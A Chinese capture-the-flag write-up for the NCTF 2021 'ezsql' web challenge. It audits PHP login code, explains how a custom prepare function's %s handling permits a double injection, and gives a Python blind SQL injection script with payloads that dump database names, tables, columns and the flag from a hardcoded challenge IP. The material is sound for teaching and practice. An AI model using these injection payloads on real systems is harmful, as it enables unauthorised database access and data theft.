2021NCTF-web ezsql复现
2021NCTF-web ezsql复现
分析
下载下来附件解压后是三个php代码,进行代码审计:
login.php
<?php
include_once('config.php');#调用一次config.php
?>
<!DOCTYPE html>
<html>
<head>
<title>There is no absolutely safe system</title>
</head>
<body>
<?php
if (isset($_POST['password'])){ #检测变量是否为空
$query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']);#password的值作为prepare的参数传入
if (isset($_POST['name'])){
$query = db::prepare($query . " and name=%s", $_POST['name']);
}
else{
$query = $query . " and name='benjaminEngel'";
}
$query = $query . " limit 1";
$result = db::commit($query);
if ($result->num_rows > 0){
die('NCTF{ez');
}
else{
die('Wrong name or password.');
}
}
else{?>
<form action="login.php" method="post">
<input name="name" id="name" placeholder="benjaminEngel" value=bejaminEngel disabled>
<input type="password" name="password" id="password" placeholder="Enter password">
<button type="submit">Submit</button>
</form>
<?php
}
?>
</body>
</html>
config.php
<?php
$db_host = "db";
$db_user = "mysql";
$db_pass = "mysql123";
$db_database = "2021";
include 'DB.php';
DB::buildMySQL($db_host, $db_user, $db_pass, $db_database);
if(db::connect_error()){
die('Error whiling connecting to DB');
}
?>
DB.php
<?php
class DB{
private static $db = null;
public function __construct($db_host, $db_user, $db_pass, $db_database){
static::$db = new mysqli($db_host, $db_user, $db_pass, $db_database);
}
static public function buildMySQL($db_host, $db_user, $db_pass, $db_database)
{
return new DB($db_host, $db_user, $db_pass, $db_database);
}
public static function getInstance(){
return static::$db;
}
public static function connect_error(){
return static::$db->connect_errno;
}
public static function prepare($query, $args){
if (is_null($query)){
return;
}
if (strpos($query, '%') === false){#检测有无%
die('%s not included in query!');
return;
}
// get args
$args = func_get_args();#返回一个包含函数参数列表的数组,获取$query与$args
array_shift( $args );#将 array 的第一个单元移出并作为结果返回,将 array 的长度减一并将所有其它单元向前移动一位。所有的数字键名将改为从零开始计数,文字键名将不变。
$args_is_array = false;#判断args[0]是否为数组且是否为唯一值
if (is_array($args[0]) && count($args) == 1 ) {
$args = $args[0];
$args_is_array = true;
}
$count_format = substr_count($query, '%s');#计算字串出现的次数
if($count_format !== count($args)){#计算数组中的单元数目,或对象中的属性个数
die('Wrong number of arguments!');
return;
}
// escape
foreach ($args as &$value){#foreach 语法结构提供了遍历数组的简单方式,每次循环中,当前单元的值被赋给 $value。可以很容易地通过在 $value 之前加上 & 来修改数组的元素。此方法将以引用赋值而不是拷贝一个值。
$value = static::$db->real_escape_string($value);#函数转义在 SQL 语句中使用的字符串中的特殊字符。
}
// prepare
$query = str_replace("%s", "'%s'", $query);#在%s前后加'
$query = vsprintf($query, $args);#将%query中的'%s'替换为$args
return $query;
}
public static function commit($query){
$res = static::$db->query($query);#执行SQL查询
if($res !== false){
return $res;
}
else{
die('Error in query.');
}
}
}
?>
已经将其中各种函数的功能做了注释。大致对post的值进行的操作是,将其输入的变量(数组)的个数与原本字符串中的%s的个数进行比对,然后将%s替换为变量。于是我们可以考虑进行注入。
同时我们需要注意的两点:
1.绕过MD5加密。(进行括号的闭合)
2.绕过单引号。(注入两次即可)
于是构造脚本
import requests
TS="NCTF"
WS="wrong"
url = "http://129.211.173.64:3080/login.php"
def SQL():
res=""
for i in range(1, 100):
left=32
right=128
mid=(left+right)//2
while(left<right):
payload_database=") or ascii(substr(select database(), %d, 1))>%d#" %(i, mid)
payload_all_database=") or ascii(substr(select group_concat(schema_name) from information_schema.schemata), %d, 1)>%d#" %(i, mid)
payload_table_name=") or ascii(substr(select group_concat(table_name) from information_schema.tables where table_schema=0x32303231), %d, 1)>%d#" %(i, mid)
payload_column_name=") or ascii(substr(select group_concat(column_name) from information_schema.columns where table_name=0x32303231)%d, 1)>%d#" %(i, mid)
payload_data=") or ascii(substr(select 'fl@g' from '2021'.NcTF limit 0, 1), %d, 1)>%d#" %(i, mid)
payload=payload_data
data={"name[0]":payload, "name[1]":"1234", "password":"%s"}
request=requests.post(url=url, data=data)
if TS in request.text:
left=mid+1
else:
right=mid
mid=(left+right)//2
if(mid==32):
break
res+=chr(mid)
print(res)
if __name__ == "__main__" :
SQL
几个比较容易出现的问题:
1.为什么要先在passward处注入一个%s,再在name中注入payload
这是由于代码中会将%s变为'%s',我们的语句无法正常运行,需要两次注入来绕出引号
#如果直接注入,运行的语句为:
select * from 'users' where passward=md5(') or ascii(substr(select database(), i, 1))>mid#') and name='1234'
#先注入%s再注入语句
select * from 'users' where passward=md5('%s')
->
select * from 'users' where passward=md5('') or ascii(substr(select database(), i, 1))>mid#'') and name='1234'
显然用第二种方式可以成功的绕出单引号
2.绕出MD5加密的方式
在payload的最前方的)是用来闭合前面MD5语句的,可以成功绕出。